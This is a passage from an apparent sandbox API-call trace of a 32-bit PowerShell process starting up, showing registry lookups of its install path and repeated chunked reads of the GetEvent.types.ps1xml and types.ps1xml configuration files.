lpcbData=0x2be7c4*=0x74) returned 0x0 [0147.611] RegQueryValueExW (in: hKey=0x344, lpValueName="path", lpReserved=0x0, lpType=0x2be7c8, lpData=0x67b350, lpcbData=0x2be7c4*=0x74 | out: lpType=0x2be7c8*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x2be7c4*=0x74) returned 0x0 [0147.611] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0x2be348, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a [0147.611] GetLastError () returned 0xcb [0147.611] SetErrorMode (uMode=0x1) returned 0x1 [0147.611] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x2be7c8 | out: lpFileInformation=0x2be7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0147.611] GetLastError () returned 0xcb [0147.611] SetErrorMode (uMode=0x1) returned 0x1 [0147.615] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x2be33c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0147.615] GetLastError () returned 0xcb [0147.615] SetErrorMode (uMode=0x1) returned 0x1 [0147.615] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2be7bc | out: lpFileInformation=0x2be7bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0058e2, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0058e2, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd7bbaefc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1 [0147.617] GetLastError () returned 0xcb [0147.617] SetErrorMode (uMode=0x1) returned 0x1 [0147.619] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x2be33c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0147.619] GetLastError () returned 0xcb [0147.619] SetErrorMode (uMode=0x1) returned 0x1 [0147.619] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2be7bc | out: lpFileInformation=0x2be7bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c2d31c, ftCreationTime.dwHighDateTime=0x1c9ea11, ftLastAccessTime.dwLowDateTime=0xd7c2d31c, ftLastAccessTime.dwHighDateTime=0x1c9ea11, ftLastWriteTime.dwLowDateTime=0xd7c5347c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1 [0147.620] GetLastError () returned 0xcb [0147.620] SetErrorMode (uMode=0x1) returned 0x1 [0147.630] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0147.630] GetLastError () returned 0xcb [0147.631] GetACP () returned 0x4e4 [0147.705] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x2be1cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0147.705] GetLastError () returned 0x0 [0147.706] SetErrorMode (uMode=0x1) returned 0x1 [0147.710] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\getevent.types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x348 [0147.710] GetLastError () returned 0x0 [0147.714] GetFileType (hFile=0x348) returned 0x1 [0147.714] SetErrorMode (uMode=0x1) returned 0x1 [0147.714] GetFileType (hFile=0x348) returned 0x1 [0147.719] ReadFile (in: hFile=0x348, lpBuffer=0x2db8c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2db8c98*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.746] GetLastError () returned 0x0 [0147.748] ReadFile (in: hFile=0x348, lpBuffer=0x2db8c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2db8c98*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.748] GetLastError () returned 0x0 [0147.749] ReadFile (in: hFile=0x348, lpBuffer=0x2db8c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2db8c98*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.750] GetLastError () returned 0x0 [0147.750] ReadFile (in: hFile=0x348, lpBuffer=0x2db8c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2db8c98*, lpNumberOfBytesRead=0x2be734*=0xcf3, lpOverlapped=0x0) returned 1 [0147.750] GetLastError () returned 0x0 [0147.751] ReadFile (in: hFile=0x348, lpBuffer=0x2db812b, nNumberOfBytesToRead=0x30d, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2db812b*, lpNumberOfBytesRead=0x2be734*=0x0, lpOverlapped=0x0) returned 1 [0147.751] GetLastError () returned 0x0 [0147.751] ReadFile (in: hFile=0x348, lpBuffer=0x2db8c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2db8c98*, lpNumberOfBytesRead=0x2be734*=0x0, lpOverlapped=0x0) returned 1 [0147.751] GetLastError () returned 0x0 [0147.752] CloseHandle (hObject=0x348) returned 1 [0147.752] GetLastError () returned 0x0 [0147.755] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x2be294, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0147.755] GetLastError () returned 0x0 [0147.756] SetErrorMode (uMode=0x1) returned 0x1 [0147.756] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2dca00c | out: lpFileInformation=0x2dca00c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0058e2, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0058e2, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd7bbaefc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1 [0147.756] GetLastError () returned 0x0 [0147.756] SetErrorMode (uMode=0x1) returned 0x1 [0147.761] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x2be260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0147.761] GetLastError () returned 0x0 [0147.761] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be6b8 | out: phkResult=0x2be6b8*=0x348) returned 0x0 [0147.762] RegQueryValueExW (in: hKey=0x348, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2be700, lpData=0x0, lpcbData=0x2be6fc*=0x0 | out: lpType=0x2be700*=0x1, lpData=0x0, lpcbData=0x2be6fc*=0x56) returned 0x0 [0147.762] RegQueryValueExW (in: hKey=0x348, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2be700, lpData=0x67b350, lpcbData=0x2be6fc*=0x56 | out: lpType=0x2be700*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2be6fc*=0x56) returned 0x0 [0147.763] RegCloseKey (hKey=0x348) returned 0x0 [0147.763] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x2be260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0147.763] GetLastError () returned 0x0 [0147.763] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x2be1f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0147.763] GetLastError () returned 0x0 [0147.918] GetSystemInfo (in: lpSystemInfo=0x2bde38 | out: lpSystemInfo=0x2bde38*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0147.920] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0147.966] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x2be1cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0147.966] GetLastError () returned 0x0 [0147.966] SetErrorMode (uMode=0x1) returned 0x1 [0147.967] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x348 [0147.967] GetLastError () returned 0x0 [0147.967] GetFileType (hFile=0x348) returned 0x1 [0147.967] SetErrorMode (uMode=0x1) returned 0x1 [0147.967] GetFileType (hFile=0x348) returned 0x1 [0147.968] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.972] GetLastError () returned 0x0 [0147.975] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.976] GetLastError () returned 0x0 [0147.976] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.976] GetLastError () returned 0x0 [0147.977] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.978] GetLastError () returned 0x0 [0147.978] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.978] GetLastError () returned 0x0 [0147.980] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.980] GetLastError () returned 0x0 [0147.980] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.980] GetLastError () returned 0x0 [0147.980] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.981] GetLastError () returned 0x0 [0147.981] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.981] GetLastError () returned 0x0 [0147.983] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.984] GetLastError () returned 0x0 [0147.984] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.984] GetLastError () returned 0x0 [0147.984] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.985] GetLastError () returned 0x0 [0147.985] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.985] GetLastError () returned 0x0 [0147.985] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.985] GetLastError () returned 0x0 [0147.986] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.986] GetLastError () returned 0x0 [0147.987] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.987] GetLastError () returned 0x0 [0147.987] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.987] GetLastError () returned 0x0 [0147.993] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.993] GetLastError () returned 0x0 [0147.993] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.993] GetLastError () returned 0x0 [0147.994] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.994] GetLastError () returned 0x0 [0147.994] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.994] GetLastError () returned 0x0 [0147.995] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.995] GetLastError () returned 0x0 [0147.996] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.996] GetLastError () returned 0x0 [0147.996] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.996] GetLastError () returned 0x0 [0147.997] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.997] GetLastError () returned 0x0 [0147.997] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.997] GetLastError () returned 0x0 [0147.998] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.998] GetLastError () returned 0x0 [0147.998] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.998] GetLastError () returned 0x0 [0147.999] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.999] GetLastError () returned 0x0 [0147.999] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0147.999] GetLastError () returned 0x0 [0148.000] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0148.000] GetLastError () returned 0x0 [0148.000] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0148.000] GetLastError () returned 0x0 [0148.001] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0148.001] GetLastError () returned 0x0 [0148.013] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0148.013] GetLastError () returned 0x0 [0148.013] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0148.014] GetLastError () returned 0x0 [0148.014] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0148.014] GetLastError () returned 0x0 [0148.014] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0148.015] GetLastError () returned 0x0 [0148.015] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0148.015] GetLastError () returned 0x0 [0148.015] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0148.016] GetLastError () returned 0x0 [0148.016] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0148.016] GetLastError () returned 0x0 [0148.016] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1000, lpOverlapped=0x0) returned 1 [0148.017] GetLastError () returned 0x0 [0148.017] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x1b4, lpOverlapped=0x0) returned 1 [0148.017] GetLastError () returned 0x0 [0148.017] ReadFile (in: hFile=0x348, lpBuffer=0x2dfe428, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be734, lpOverlapped=0x0 | out: lpBuffer=0x2dfe428*, lpNumberOfBytesRead=0x2be734*=0x0, lpOverlapped=0x0) returned 1 [0148.017] GetLastError () returned 0x0 [0148.017] CloseHandle (hObject=0x348) returned 1 [0148.018] GetLastError () returned 0x0 [0148.018] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x2be294, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0148.018] GetLastError () returned 0x0 [0148.018] SetErrorMode (uMode=0x1) returned 0x1 [0148.018] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2e1ecb8 | out: lpFileInformation=0x2e1ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c2d31c, ftCreationTime.dwHighDateTime=0x1c9ea11, ftLastAccessTime.dwLowDateTime=0xd7c2d31c, ftLastAccessTime.dwHighDateTime=0x1c9ea11, ftLastWriteTime.dwLowDateTime=0xd7c5347c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1 [0148.018] GetLastError () returned 0x0 [0148.018] SetErrorMode (uMode=0x1) returned 0x1 [0148.018] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x2be260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0148.018] GetLastError () returned 0x0 [0148.019] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be6b8 | out: phkResult=0x2be6b8*=0x348) returned 0x0 [0148.019] RegQueryValueExW (in: hKey=0x348, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2be700, lpData=0x0, lpcbData=0x2be6fc*=0x0 | out: lpType=0x2be700*=0x1, lpData=0x0, lpcbData=0x2be6fc*=0x56) returned 0x0 [0148.019] RegQueryValueExW (in: hKey=0x348, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2be700, lpData=0x67b350, lpcbData=0x2be6fc*=0x56 | out: lpType=0x2be700*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2be6fc*=0x56) returned 0x0 [0148.020] RegCloseKey (hKey=0x348) returned 0x0 [0148.020] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, 